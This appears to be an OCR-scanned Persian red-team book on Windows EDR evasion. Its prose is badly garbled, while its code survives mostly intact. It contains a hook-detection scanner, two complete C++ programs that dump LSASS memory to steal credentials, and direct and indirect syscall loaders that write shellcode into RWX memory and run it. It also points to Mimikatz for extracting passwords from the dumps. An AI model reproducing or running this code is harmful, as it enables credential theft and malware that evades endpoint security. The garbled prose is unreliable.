[l doei = 15 pgai

EDR (5,0, cdlo sloSen g ogd oo (oungi)l aladl> o ntdildll 3l text iow sl p ool 6>l L

0,bs0 ol syscall glastub a5 598 oo el JI5 (pl \Wgd oo Bi> wiiils |8 jidy cpul o oS
X9 EDR lawgi (6,50, b ol mile g wigd (6,135
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Prologue (ow,n &b 3| NTDLL o ool Hook laSyscall aseis
B> 09,0

dodio

(Sl i yo Shaags 4 gl 5 (@lolid) EDR aile (sl slaylnl g9 ()00 ladazma 5
oolawl o usley J8) 0 oyllai g (5,50, (sl (User-mode hooking) ,,lS" zlaw ,o hooking ;!
S &g gl aal J38le 5 oS Sl el inline hooking da g, Szl 5l (S0 isS 0
Do Culas (hoes el oS S 43 05 (I U ams so i 1) (oot sl Slg1 8 e)

5 oedr—o,5 Slulis 1) e 950 sbhook iz oles oo dg3e a5 o oo lid alie oyl
ol jeaisg slasyscall plod glys 53,5 mdaw slastub  Jolis a5 NTDLL.AI Jgj5Le

faigd g0 h0OK 12> g o a> WaSyscall

Se 0055 5k ) 9l S sl ay g s 5l )5 mhaes po aelyy S (£85 Gy 4o
O oSloygye S o Sle>1,8 |, OpenProcess() ails oWAPI (abibl> acass L (o3l

D9l oo pi> NtOpenProcess wisls w o 13 ntdlldll ;5 a5 ot Sls>13 stub S o Us.o.uo

(Oeile s Josdljgiws 31 el allss ) olobes LB prologue (sl ks syscall slastub )

Wigd g0 0390 (XFF j0) IS cpl 4 Uw 9 dnd

mov rl0, rcx
mov eax, <syscall number>
syscall
ret
wiied Sygo ol 4 Usass Jsl ol o>
D1 B8

0dyd py JS& 4y a5 wisS e patch &b glal 0 IMP gt G zyo b1y oS ol Jél EDR
Pes
E9 XX XX XX XX

.(edrhook.dll Ie) EDR S DLL &y il G055 o0 45 trampoline < g, oyl 4
odls Heiile lae g_il)oUJ.\;_m yaseid b aiS o0 S8 ol Xl 4y s ol olelis

ATARS
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Inline Hook o Lulls |IS7 s,

NTDLL 3l export (5,555 plo (5 138 ,L .\

Sipdigo £5,5 "ZW L NG LS a5 s, alemy Y

abbdl> yo b ool oS oY

&b Jol cob O L F il

ot 3 G2gSl w0 b (BA FC AB DV)syscall oulsaz>Lis prologue b awslie .0
ale
(JMP)EX o
(breakpoint INTV)CC .

abogs o DLL & )] ctslS 5 IMP jgiws duae (ioles g ol £

C++: detect_hooked_syscalls.cpp ol oS

#include <Windows.h>
#include <Psapi.h>
#include <iostream>
#include <string>

#pragma comment (1ib, "Psapi.lib")

int main ()

{
// Load the in-memory NTDLL module
HMODULE ntdllBase = LoadLibraryA("ntdll.dll");
if ('ntdllBase) {
std::cerr << "[-] Failed to load ntdll.dll" <<
std::endl;

return 1;

}

// Read the PE headers
PIMAGE DOS HEADER dosHeader
( PIMAGE_DOS_HEADER) ntdl1lBase;
PIMAGE NT HEADERS ntHeaders =
(PIMAGE NT HEADERS) ((BYTE*)ntdllBase + dosHeader-
>e 1fanew);
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// Locate the export directory

DWORD exportRVA = ntHeaders-
>OptionalHeader .DataDirectory|[ IMAGE DIRECTORY ENTRY EXPO
RT] .VirtualAddress;

PIMAGE EXPORT DIRECTORY exportDir =
(PIMAGE EXPORT DIRECTORY) ( (BYTE*)ntdllBase + exportRVA);

// Resolve export tables

PDWORD functionRVAs = (PDWORD) ((BYTE*)ntdllBase +
exportDir->AddressOfFunctions) ;

PDWORD nameRVAs = (PDWORD) ((BYTE*)ntdllBase +
exportDir->AddressOfNames) ;

PWORD ordinals = (PWORD) ((BYTE*)ntdllBase +
exportDir->AddressOfNameOrdinals) ;

// Expected syscall stub prologue (mov rl10, rcx; mov
eax, syscall id)

const BYTE syscallPrologue[] = { 0x4C, 0x8B, 0xDIl,
0xB8 };

std::cout << "[+] Scanning ntdll.syscalls for inline
hooks...\n";

for (DWORD i = 0; 1 < exportDir->NumberOfNames; ++1i)
{
const char* functionName = (const
char*)ntdllBase + nameRVAs[i];

// Only scan Nt* and Zw* functions
if (strncmp(functionName, "Nt", 2) != 0 &&
strncmp (functionName, "Zw", 2) 1= 0)
continue;

// Resolve function address

WORD ordinal = ordinals[i];

DWORD funcRVA = functionRVAs[ordinall;

BYTE* funcAddress = (BYTE*)ntdllBase + funcRVA;

// Compare first 4 bytes with clean syscall
prologue
if (memcmp (funcAddress, syscallPrologue,
sizeof (syscallPrologue)) !'= 0)
{
// If first byte is 0xE9 (jmp), likely a
trampoline
if (funcAddress[0] == 0xE9)
{

V7Y
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DWORD relOffset

* (DWORD*) (funcAddress
+ 1)

BYTE* jmpTarget = funcAddress + 5 +
relOffset;

char modulePath[MAX PATH] = {};

if
(GetMappedFileNameA (GetCurrentProcess (), jmpTarget,
modulePath, MAX PATH)) {

std::cout << "[HOOKED] " <<
functionName << " at " << (void¥*) funcAddress
<< " => JMP to <<
(void*)jmpTarget
<< " (Module: " <L
modulePath << ")\n";
} else {
std::cout << "[HOOKED] " <<
functionName << " at " << (void¥*) funcAddress
<< " => JMP to " <<
(void*)jmpTarget
<< " (unknown module) \n";
}
}
else {
std::cout << " [SUSPICIOUS] " <L

functionName << " at " << (void*) funcAddress
<< " has unexpected
prologue\n";
}
}
}

std::cout << " [+] Scan completed.\n";
return 0O;

T 9> Aiged
[+] Scanning ntdll.syscalls for inline hooks...
[HOOKED] NtOpenProcess at 0Ox/ffcc2dall00 => JMP to
0x7ffcaaaall00 (Module: C:\Program
Files\EDR\edrhook.dl1l)
[SUSPICIOUS] NtProtectVirtualMemory at 0x/ffcc2dal040
has unexpected prologue
[+] Scan completed.

\FY
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oolaiwl 5 )lge
NTDLL (y0gs juod 3l oyliodsl (gl dindirect syscall L direct gl >l 5l i @
EDR 105 590 b sandbox glulils cp> jo @
6L el oS JbsL 1, ntdildil 13y unhooking Jlg, o LT aSeul gy plSin @
red teaming cldoe b 38l Lo o @

[EYUNRYREN
WSSDT hook L AT & oS’ o (g |y ntdILdll jo oz 5,0 slohook Lis
(API reimplementation) &S ced ow,p» |, EDR lawgi DLL JulS' 5350l o
Sl S syscall glastub & —canl S0b ¥ cul prologue S ol auis @
sl wolae oS

\ Y



7008 o5 Gl 909 APl dxwgs p (gl dende

MiniDumpWriteDump ) e&iul b [SASS ) 58 L Dump

dodfo

soaidasle anl 3 < (Local Security Authority Subsystem Service ciiss) Isass.exe sl 3
Gl 5 6 )5 Slelbl v liel o o o sl slacilaw szl Jotus a5 ol 59004
aisle cwla s slrosls wlgs o a3 ] galiSl> 5l 28,5 DUMP e (i sloS 35
Egd90 Cyad a5 S Lidl 1) (plaintext credentials) oo sleasl Lol o> g NTLM sla yin

5k post-exploitation (gal> o )0 sepe Bod D4 oo el
s9zg APL 51 coliiul b csumgidal py Oygods g 0 AsSa a5 apd o0 ooyl dlae oyl
2,5 obul LSASS 5l alasl> dump S o lo 1,8 dbghelp.dl lsulis s 45” MiniDumpWriteDump

Ao oo ploil Aol o Mimikatz L ProcDump auile gle Il a5 col (6 )15 alie (g, ol

fMiniDumpWriteDump | ,>

4 a5 Cwl jaaig o eddGladly g sew, o8 G MiniDumpWriteDump & API
Xlg5 o SNAPShOL (] .05, Bas an] 18 G 5l (snapshot) (s gas ams o o5l 5 asdnuwss
oolawl Slg 8 alim a5 Sl 4y ang—all ;50 090 g b o Juin Jlos aladl> ol
A

5 el & g0d abibl> glgiome o5 ams o |y Sl (] g o Jles! Isass.exe g, b ool (Bg
Sgd oo pypykatz L Mimikatz e gl |l b

D 5o gl EDR (gl Sl ) Javsgi coaids 4y oSS 1yl 00 i glooslawls gus Juo @y el

S| M))‘ QLM 0455590 sleass L;'>|/Jo 9 d;b ‘_J}‘a‘ LS)':'?')L. 3¢9 CJ'.'.‘ L

(Privilege Requirement) _ow yiws zdaw (gainjls
5970 gy zhans (] L SeDebugPrivilege (gl ls Wb oasilss )3 an 18 LSASS b Julas (gl

Ao oo |y Isass.exe aiile sobcdiblne sloois] B 0,5 5b g owy

85 (o)
Lol yor ido o Cawl 0ol dl ) Jlowie LSASS dumper G 51 G+ JlS (g 5lwonly SO caalol o

O PR C.A..ay
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#include <windows.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#include <iostream>

#pragma comment (1ib, "dbghelp.lib") // Link against the
Debug Help Library

SeDebugPrivilege s jludlzd
bool EnablePrivilege (LPCWSTR priv) {
HANDLE hToken;
TOKEN PRIVILEGES tp;
LUID luid;

if ('OpenProcessToken(GetCurrentProcess(),
TOKEN ADJUST PRIVILEGES | TOKEN QUERY, &hToken))
return false;

if (!LookupPrivilegeValue (NULL, priv, &luid))
return false;

tp.PrivilegeCount = 1;
tp.Privileges[0] .Luid = luid;
tp.Privileges[0] .Attributes = SE PRIVILEGE ENABLED;

return AdjustTokenPrivileges (hToken, FALSE, &tp,
sizeof (TOKEN PRIVILEGES), NULL, NULL);
}

Ol 5wl SeDebugPrivilege Jols b sas so =65, 1) o)l> anld wyiwd mhw &b oyl

QS ol )3 ) sascbitlre laanl b4 pwiws

LSASS &y Logy o PID 15,5 o

DWORD GetLsassPID() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof (PROCESSENTRY32) ;

HANDLE snapshot =
CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry)) {
do {
if ( wcsicmp (entry.szExeFile, L"lsass.exe')
== ) {
CloseHandle (snapshot) ;
return entry.th32ProcessID;

VPO



7008 o5 Gl 909 APl dxwgs p (gl dende

} while (Process32Next (snapshot, &entry));

}
CloseHandle (snapshot) ;
return 0;

}
4 by PID 5 05,8 Liolew Izl o o ool b o wb opl ToolHelp API i soliiwl b

Als )8 e |y Isass.exe

asl c;oldﬁz&
int main() {
if (!'EnablePrivilege (SE DEBUG NAME)) {
std::cerr << "[-] Failed to enable
SeDebugPrivilege.\n";
return |;

}
A3l L2l B gan oo b ol Sreladae aily (g iws s (55loJed

DWORD pid = GetLsassPID();

if (pid == 0) {
std::cerr << "[-] Could not find lsass.exe\n";
return |;

Ol pb ol Isass.exe ol 3 05 oy

HANDLE hProcess =
OpenProcess (PROCESSiQUERYiINFORMATION | PROCESS VM READ,
FALSE, pid);
if ('hProcess) {
std::cerr << "[-] Failed to open LSASS
process.\n";
return 1;

}

Jols pil oyt mhw 090 0 48,5 LSASS 4 Jus S OpenProcess jl esliiul L

.Zw| PROCESS_VM_READ 4 PROCESS_QUERY_INFORMATION

HANDLE hFile = CreateFile(L"lsass.dmp", GENERIC ALL,
, NULL, CREATE ALWAYS, FILE ATTRIBUTE NORMAL, NULL) ;
if ('hrile) {
std::cerr << "[-] Failed to create dump
file.\n";
return 1;

}
155
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g 0,33 o 0 anT)d dump b 5ed e ol Isass.dmp ol b (e Ll S

BOOL success = MiniDumpWriteDump (hProcess, pid,
hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (success) {

std::cout << "[+] Dump written to lsass.dmp\n";
} else {
std::cerr << "[-] Dump failed.\n";

}

CloseHandle (hFile);

CloseHandle (hProcess) ;

return 0;
}
S 0 0,035 o ateie Bl jo 1y an] $ galibl> Cuxdy g lgize MiniDumpWriteDump a5
Slelb| g stack Ladd &) aidl janass gabbl> S 05 o0 Cacly MiniDumpWithFullMemory K13

5,5 18 dump o (lags

Isass Date modified: 5/2/2025 10:45 PM
75 CGiTemp Type=: DMP File Size: 54.7 MB

&8 Administrator: Command Prompt

C:\Temp>C:\Users\RedTeam\source\repos\example2\x64\Debug\example2.exe
[+] Dump written to lsass.dmp

C: \Temp>

Lol azmes = 1V o

wiile ooyl b lei oo 1) Isass.dmp g5 L1

Mimikatz (sekurlsa::minidump) e
pypykatz e
Volatility & Rekall o

Sges gyl 1y [0 8500 5 Kerberos slacSs da yia daasli;locl 3 5,5 Jlos

\ Y
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glo 5 ololis
@lssl> lagSIl 5l osliiud L b oS o hook |, MiniDumpWriteDump Ugesxe 00 (sWEDR

il 6,8, sl asls b eoleys L i

SeDebugPrivilege )} o3&l o
OpenProcess L LSASS &) owyiws @

dmp. sla L ol e
wiile g SIS ey iy Upons Lo sil3lon b 0,3 slaees

syscall poiivw glodds o
85,8 ol 8 5l o185 dump g 0,5 Fork e
abdl> o isley @

PssCaptureSnapshot )} eddiul o

.\.)J)J.u’.c)lsc\g‘)

\FA
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5 PssCaptureSnapshot ) edlaiul L [SASS ) o S Dump
MiniDumpWriteDump

dodfo

kol Glaal 5l S (99 ,o (Local Security Authority Subsystem Service ciiswe) LSASS ol 8
oy alidl> o 1) cwles sloaol Loel |y ccanl 3310 axgs o (Red Team) 50,8 15 Slilas jo
S on

sledilols lawgs Ug.o.'.a LSASS (54, MiniDumpWriteDump ;I s oslaiwl aiile s sl yos,

39929 APL 3l oolaiwl U snapshot , i dump 51 lezlos god90 cnl 05y &l

ST ol S oo oolaiwl RY YT jg,m 5 ALY jaaig o 0als B,2e) PssCaptureSnapshot

s st Ly o] s a5 S e oal |y LSASS salible 5| slS ases Sy sl Sl

b oo 2olS lolids mhaw a5 50,5 snapshot dump (18,5 alSoe Lol ot b 4 pubiiee

APl (sodS algs
Il Jo o 0l 3 S5l (elS) snapshot 28 5 PssCaptureSnapshot e
Ldmp LB a4 anlp G aladl> yiies :MiniDumpWriteDump @

Sloo gwywd 50,5 Jlad g LSASS &y Jaus 28 3 :EnablePrivilege 3 OpenProcess o

b9, Do ool jen CH oS oS
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <processsnapshot.h>
#include <DbgHelp.h>

#pragma comment (1ib, "dbghelp.lib")
#fpragma comment (1ib, "kernel32.1ib")

// Enables SE DEBUG NAME privilege in the current
process token
bool EnablePrivilege (LPCWSTR privName) {

HANDLE hToken;

TOKEN PRIVILEGES tp;

LUID luid;

154
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// Open current process token
if (!'OpenProcessToken (GetCurrentProcess(),
TOKEN_ ADJUST PRIVILEGES | TOKEN_QUERY, &hToken))
return false;

// Lookup LUID for the privilege
if (!'LookupPrivilegeValue (NULL, privName, &luid))
return false;

// Enable the privilege

tp.PrivilegeCount = 1;

tp.Privileges[0].Luid = luid;

tp.Privileges[0] .Attributes = SE PRIVILEGE ENABLED;

return AdjustTokenPrivileges (hToken, FALSE, &tp,
sizeof (tp), NULL, NULL);
}

// Enumerates all processes and finds the PID of
lsass.exe
DWORD GetLsassPID() {
PROCESSENTRY32 pe = { sizeof (PROCESSENTRY32) };
HANDLE hSnap =
CreateToolhelp32Snapshot (TH32CS SNAPPROCESS, 0);

if (Process32First(hSnap, &pe)) {
do {
if ( wcsicmp(pe.szExeFile, L"lsass.exe") ==

CloseHandle (hSnap) ;
return pe.th32ProcessID;
}
} while (Process32Next (hSnap, &pe));
}

CloseHandle (hSnap) ;
return 0O;

}

int main () {
std::cout << "[+] Starting LSASS snapshot dump using
PssCaptureSnapshot...\n";

// Step 1: Enable SeDebugPrivilege
if ('EnablePrivilege (SE DEBUG NAME)) {
std::cerr << "[-] Failed to enable
SeDebugPrivilege.\n";
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return |;
}
// Step 2: Get LSASS process ID
DWORD lsassPid = GetLsassPID();
if ('lsassPid) {
std::cerr << "[-] Could not find LSASS
process.\n";
return |;

}

// Step 3: Open LSASS process with full access
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, lsassPid);
if ('hLsass) {
std::cerr << "[-] Failed to open LSASS
process.\n";
return 1;

}

// Step 4: Capture snapshot using PssCaptureSnapshot
HPSS snapshotHandle = nullptr;
DWORD status = PssCaptureSnapshot (

hlLsass,
PSS _CAPTURE VA CLONE | PSS CAPTURE HANDLES |

PSS CAPTURE HANDLE NAME INFORMATION |

B PSS_CAPTURE THREADS |

PSS CAPTURE THREAD CONTEXT,

CONTEXT ALL,

&snapshgtHandle
);
if (status !'= ERROR SUCCESS) {
std::cerr << "[-] PssCaptureSnapshot failed.
Error: " << status << "\n";

CloseHandle (hLsass) ;
return | ;

}

// Step 5: Create output file to write the memory
dump
HANDLE hFile = CreateFileW(L"lsass pss.dmp",
GENERIC WRITE, 0, NULL, CREATE ALWAYS,
FILE ATTRIBUTE NORMAL, NULL);
if (hFile == INVALID HANDLE VALUE) {
std::cerr << "[-] Failed to create dump

file.\n";

A
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PssFreeSnapshot (GetCurrentProcess (),
snapshotHandle) ;
CloseHandle (hLsass) ;

return 1;

}

// Step 6: Write memory dump using MiniDumpWriteDump
(dump original handle)
BOOL dumped = MiniDumpWriteDump (
hLsass, lsassPid,
hFile,
MiniDumpWithFullMemory,
NULL, NULL, NULL
)
if (!'dumped) {

std::cerr << "[-] MiniDumpWriteDump failed.
Error: " << GetLastError() << "\n'";
} else {

std::cout << "[+] Memory dump written
successfully to lsass pss.dmp\n";

}

// Step 7: Cleanup

CloseHandle (hFile);

PssFreeSnapshot (GetCurrentProcess() ,
snapshotHandle) ;

CloseHandle (hLsass) ;

return 0O;

S5 (nl 3 es 092
S oo olonl alidl> o LSASS 5l Sailgs-ladd sl S PssCaptureSnapshot e
oS ol auld o b cdo feas |y Ll g abibl> Glmio gaen oolS e
S e
«2d,5 (snapshot 029 ylej 10) ol Jaus lea 3l o> b yolS ol 51T, dump g oo @
g oo arlolis Ugons a5 tiw APl slagSIl 51 oolictul g0
dump 31 egasd; WSS Hgiile |, PssCaptureSnapshot ol Sas j9i0 WEDR S, @

Dgd Albgh Slase o) @
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EDR olax>We
ol by 355 ol il wisS oo ik 1y MiniDumpWriteDump Lioxes WEDR > 5

Ol 6,108 50, g aldl> 4 Dump e

Named Pipe & )b 5l 25,5 Jlo,] @
MiniDumpWriteDump (gly ppiins & slawrapper b goiivs syscall 5l oolainl @

5 liS 50, Sud (59, gl gy | LSASS aladl> slo jisw «Said i, evasive gleaseus
WS (oo s3besl
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Direct Syscall Jta
VirtualAllocEx 5 RedOps.at 6diuy ¢

VirtualAllocEx — Direct vs Indirect Syscalls (CT_Indirect_Syscalls) &> e ()5

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-
Syscalls/tree/main/CT® %FIndirect® %o FSyscalls/CT© YoFindirect® %o FSyscalls

& o9

Gk ol L B Glgmsre 4 gy ozl User-mode slasulyp 4 jeany Jolepinen
EDR uiile gl (slo,l5l 020 oo w04 oo 451)] ntdlldll 5,1 Uw 45 Windows Native API
Loyl ) SeSin slacodled b aisS’ o Hook | xilei ol (Endpoint Detection & Response)
Direct Syscalls pU 4y oo, 3 cdél 50,8 slopsd § Hlozloe oyl 1305 590 (gl AisS dgaue
\AMSLSA oolaul

ooy g syscall jgiws s ol g ouis S ntdlldll gla AP JolS™ o3 550 Julis Direct Syscalls
Qs Je 9 055l

L EDR (sla |3l (NtCreateThreadEx L NtAllocateVirtualMemory aule suww slo Slg=>l)8 5o
WSS o0 il Glasgs Sy siile DLL 4y jmp g S5 b |, Lol stub iz dnline hooking

iy 23 ‘) )L'l_é) 9 L(buLeﬁf)" lef f“"‘“‘"‘““ S, lJ o)'l?‘ )‘ M EDR a5 ‘59“"6" '.,&l; )15 u.:‘
D98 0 EDR [anseis opilgd yuls Jlad cacly NtWriteVirtualMemory() peiivs glss1 3 @ JSius

L5 5 03,8 weaii |l em s a8 5l i sloml 5 (SSN) IS s o Lo (pailss 2ol

X3 490 |y Userland jo Hook g4 10 ol 5 ooy g S |l ctws & jg0a | syscall

Direct Syscalls Lol jLsLo

o, 3Ls (isu 4w 4 Direct Syscalls guws (s5lwosly (6l

JU e ol slo pxie g > )15 gy el b oo |8 — syscalls.h )
&S o Ll ) b pis (sesd O g0ty a5 Lol L6 — syscalls.asm Y

WS e SleFa 1y T 5008 sl 1) IS pitaces o lods a5 C++ oS — mainc Y

VY
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(syscalls.h) joa |11
S oo el 1y i oyol 5 LU pitases o)lod sl ()15 sl iite 5 &les ubisisn LB
extern NTSTATUS NtAllocateVirtualMemory(...);

extern DWORD wNtAllocateVirtualMemory;
extern UINT PTR sysAddrNtAllocateVirtualMemory;

(syscalls.asm)  Joosl L1

NtAllocateVirtualMemory (gl Jis .osiwd JI v 2319 stub Jolss Lol sla g,

NtAllocateVirtualMemory PROC

mov rl0, rcx ; Move the 1st
parameter into rl0

mov eax, wNtAllocateVirtualMemory ; Load syscall
number

jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ;
Jump to syscall instruction in ntdll.dll
NtAllocateVirtualMemory ENDP
@ s 3 03,5 00bel (0,08 g RDX RV +) j90ig JI i (slosls, 8 gl 1 b e, 08 ol

Sy o0 (Hook (y904) ol ntdlldll o JI e jgiuws

(main.cpp) ol 4l p 3laio
L plowl ol
alzdl> 5intdiLdll Lgy 6,035 ,L .)
(F+ cend] Ugona) tdIlINEXX 5 stub 3l IS g o)l ] S
(XY 4 CadT Ugone) SIS witess g (soly ool drslons

ol 00l (6l (gl pos (6l ke o Slelllol 6,55

% 1t =

:NtAllocateVirtualMemory sl 4 gad

UINT PTR pNtAllocateVirtualMemory =

(UINT PTR)GetProcAddress (hNtdll,
"NtAllocateVirtualMemory") ;
wNtAllocateVirtualMemory = ((unsigned
char*) (pNtAllocateVirtualMemory + 4)) [0];
sysAddrNtAllocateVirtualMemory =
pNtAllocateVirtualMemory + ;
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Wrapper (oo 3l oolaiul b (g5luplan 5 70 slboml S Lo 5,55 alidls javass Oldes e
WD o r:l:;.;] Jlf P wow, sl

NtAllocateVirtualMemory(...);
NtWriteVirtualMemory(...)
NtCreateThreadEx(...);
NtWaitForSingleObject (...);

11s-main\Direct_Syscalls_Crea

1ls-main

Direct Syscall gl,>! azii=- 1A i

> EDR ()0 ,90 0920
User-mode hook 45" ;s EDR .auS  cos jge NtdIIINtXxx sl stub 3| LelS jeboa; Direct Syscalls

Do )] S jgiile Sl Eel by, onl it (o b ALyl (59, ciylo
el (oo a3d oy sl EDR Ll
S eolaiwl s liil glo IS i Sy j5ile (sl kernel callbacks 51 @

Al S S 1wl e ntdlldll alidl> 7)1 5l &S Slo S ey @

abdl> o 5 o jgiewd 4 dazme b oS ol b oo (malS Indirect Syscalls b S oyl
(a5 o0 ol g5lwosly (pl aS jabolen) 350 co pleil ntdll

g.».wﬁ" )| oolaiwl ! usl&buo 99 e 6[.&»\.1.@ 9 >dseus 5 L:nJlf W O)Lo.w °
US.M)Msu‘sooélAw|ETW)lLusow)f‘)stack&)l.&ASG)LQEDR o

Qpd asid | L8yl

\ V&
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el SE_DEBUG_NAME oo i 4 5L s o 30,5 sl @

o5 1y Oyde soigaing ,o oS L sly>l g 8,55 sl Direct Syscall _L3las> Loader S allis oy
‘57_;“4 6[.@ Hook L)‘?JL.SA aJJ; LngJLh;‘ LY p.hw w).a 9 LQJlf W o)Lo..i': l)}.: J> L: Bls

53 490 |, Userland
o 4 EDR (335 550 b syl s 3 o Sl Slikes sl wied 108 )10l lizen b, 0

508 o Slibos o ehasar w0
s

GitHub Project: Direct & Indirect Syscalls — CT_Indirect_Syscalls e

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-
Syscalls/tree/main/CTO7/.FIndirectd/.FSyscalls/CTdY/.FIndirectd/.FSyscalls

SysWhispersY o

https://github.com/jthuraisamy/SysWhispersY

Hell’s Gate Technique e

https://github.com/am « nsec/HellsGate

Halo’s Gate (SEKTORY) e

https://blog.sektorY.net/#!res/Y - Y \ /halosgate.md

\YY


https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/jthuraisamy/SysWhispers2
https://github.com/am0nsec/HellsGate
https://blog.sektor7.net/#!res/2021/halosgate.md
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Indirect Syscall Jt
VirtualAllocEx GitHub — CT_Indirect_Syscalls ij));} P

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-
Syscalls/tree/main/CTd/.FIndirectd/.FSyscalls/CTdY/.Findirectd/.FSyscalls

dodlo

oLl EDR (Endpoint Detection and Response) -y 0w sl (slapin (558059, <8 ien b
el oo Sl layl (gl (Direct Syscalls) puiins sl S pitasm

Sl ygws 5l eolaiwl b 1) Lol (6,15 awe a5 ool Indirect Syscall oSS a0l Eely gg.090 ()
olgzds Dab G 5l as ol sl S o Lads ntdlldll e Talisls lad 31 5 IS pes
S oolaulexe. isw b as o 8L S asle

Bk 3l dgdice ) (e SljEl el S5

ntdll.dll J&ls JI5 sooww Stub s S 5l oslaiu] @

ntdllLdil 5z, ol @ JI s catiS5h 51 U jlode 5l o uSel> @

failuns Indirect Syscalls

LQM aps e ojll 5 aS 4 La:o—l 0 Direct Syscalls alie Cdaw ,Lass5l Indirect Syscalls
ol alsldS ntdlldll g9, EDR lawsgs aS 1,5 o jo API sla Hook ¢ 09 Jaiie 5,5 cdl> 4
».\.a).a )50 ‘)

& (, rcx; mov eax, <SSN>; syscall} * mov riJbe lp) JB5 picagw Stub (05 oS sloa L
B ol oS oo olaa ntdlldll Jls Lol JI g jaiwd a1y dol gl 2l oylesgs> oS iy
Do o L;)lfsé;'m J:.io..p w\)sl cels

ol Lo 8 cpl 1>

Iy 4ol ,L8, b wuiS oo Hook I, ntdll.dll jo NtAllocateVirtualMemory Jio mlgs cuél LEDR

&b ooyls 3 ntdildll J3ls JIS g jgiws LT @
Gyl L5 el o g0 Dabibls s IS pitewes (Return Address) coiSsh ool LT o

\YA


https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
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e b s i (A ol b ol s
aS gilwooly ol >

JI s s5lwosle] g y09) — main.c .\
// Load function address from ntdll
UINT PTR pNtAllocateVirtualMemory =
(UINT PTR)GetProcAddress (hNtdll,
"NtAllocateVirtualMemory") ;
wNtAllocateVirtualMemory = ((unsigned
char*) (pNtAllocateVirtualMemory + 4)) [0];

// Jump to legitimate syscall stub within ntdll
sysAddrNtAllocateVirtualMemory =
pNtAllocateVirtualMemory + ;

(wNtAllocateVirtualMemory) JE o jlad o
O Vxe+ cadl) ntdildlil J3s JIS s jgiws uyol o

D9 o0 5155 02 10 )lge (gl Ay, on

NtWriteVirtualMemory e
NtCreateThreadEx e
NtWaitForSingleObject o

NtAllocateVirtualMemory (

(HANDLE) -1, &allocBuffer, 0, &buffSize,
MEM COMMIT | MEM RESERVE, PAGE_EXECUTE_READWRITE);

NtWriteVirtualMemory (
GetCurrentProcess (), allocBuffer,
shellcode, sizeof(shellcode), &bytesWritten):;

NtCreateThreadEx (
&hThread, GENERIC EXECUTE, NULL,
GetCurrentProcess (),
(LPTHREAD START ROUTINE)allocBuffer, NULL, FALSE, O,

’ , NULL) ;

NtWaitForSingleObject (hThread, FALSE, NULL);
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oF ey pladl Jlaie 5 S o Ll 1y ] cgige ol 5o 1y o b s oo _plazs] alidls oS ]

Indirect Syscall 3;,b 3l 4o — ailo g0

ol 6>l olas — syscalls.asm .Y

NtAllocateVirtualMemory PROC
mov rl0, rcx
mov eax, wNtAllocateVirtualMemory
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ;
Jump inside ntdll
NtAllocateVirtualMemory ENDP
33 35250 (shol IS pimns jaiwd 45 (B9 0 aiS sod 1>l | syscall jaiws Lo Lo ety 40

asb

Dgdso 1S5 02 (6,500 B pi 2 sl 5 ]

Lo yUel — syscalls.h .¥
Shsl 4y asm. g cpp. sl bl o &5 col oo yusis Ciaan extern slgllel Jols Lyl
extern DWORD wNtAllocateVirtualMemory;

extern UINT PTR sysAddrNtAllocateVirtualMemory;
extern NTSTATUS NtAllocateVirtualMemory(...);

Sedee Jloe! 35 @y Dad oy sl e

Indirect Syscalls sk
SrSsl> Slsp Oanty o by slajluta g alidls )il EDR gy (035,90 @
S e
ntdll.dll Jie yoee sl Jgile o o5 slyz! @
Aloass Jlasl 1p)l5 o ;0 API slo ,Kisly lawgi a5 inline slaHook (455 95 @

Stack o olo by, ML yiin 6,5 a5 (sl S oolaiul Kernel Callback ¢ ETW 5EDR 31
5,5 a8lsl |, Spoofing
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Gligee glraseus [0 el (o a5 o4ls (VWX + i) JB oo 380 ol piiils 4 5L
wlobis ol
S aigd glolis cwl Sew o2 Indirect Syscalls >
Qb aslas Sl ep casaslis slagSl L (Return Address) cuiSsh ol @
Sed s (Thread) as, ool b alolilly oS alitl> pvass o
S9d Jo Jgero s g by Oygots JI s oyol @

Jlspwo)waMlM])B&)LgW .
akél> o ntdlldll 5,5 Unhook e

JB s (o e Blate (JaS 19,0 (5510550, @

S 325 Aol

g o0 Dgudts J9ding (105 490 b zdaw SLSESS (8 wied j08 i S Indirect Syscalls
1,08 szl 6lolsg lagyT w9 o alosil ntdildll J31s J5)S & s Jliss! Saes o5 cpl 5l olicabsl b
Sl o J8las 4y |) EDR (slojlaia g oo laa>

W S ,5 (Thread i ,e ol Ly Stack Spoofing Jie) [0 sl SaSs b og,y cnl (39
D98 oo Jous Red Team slopad sl 55900 )l &

GitHub o3 ,, B

CT_Indirect_Syscalls — VirtualAllocEx

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-
Syscalls/tree/main/CTd/.Findirectd’/.FSyscalls/CTO/FIndirectd’/.FSyscalls
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https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
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ol Rl (ot Slo Gls1)8 5 59005 APL (glaaslogygys o)l lgize ol aslllas ol Ly
o LB 5 (508 SlaSiSs 5 palie b wcdllas ol Jobo 5o

XOR 3l oolaswl b oS Lo gliS 50,9 5 )l 38 50, @

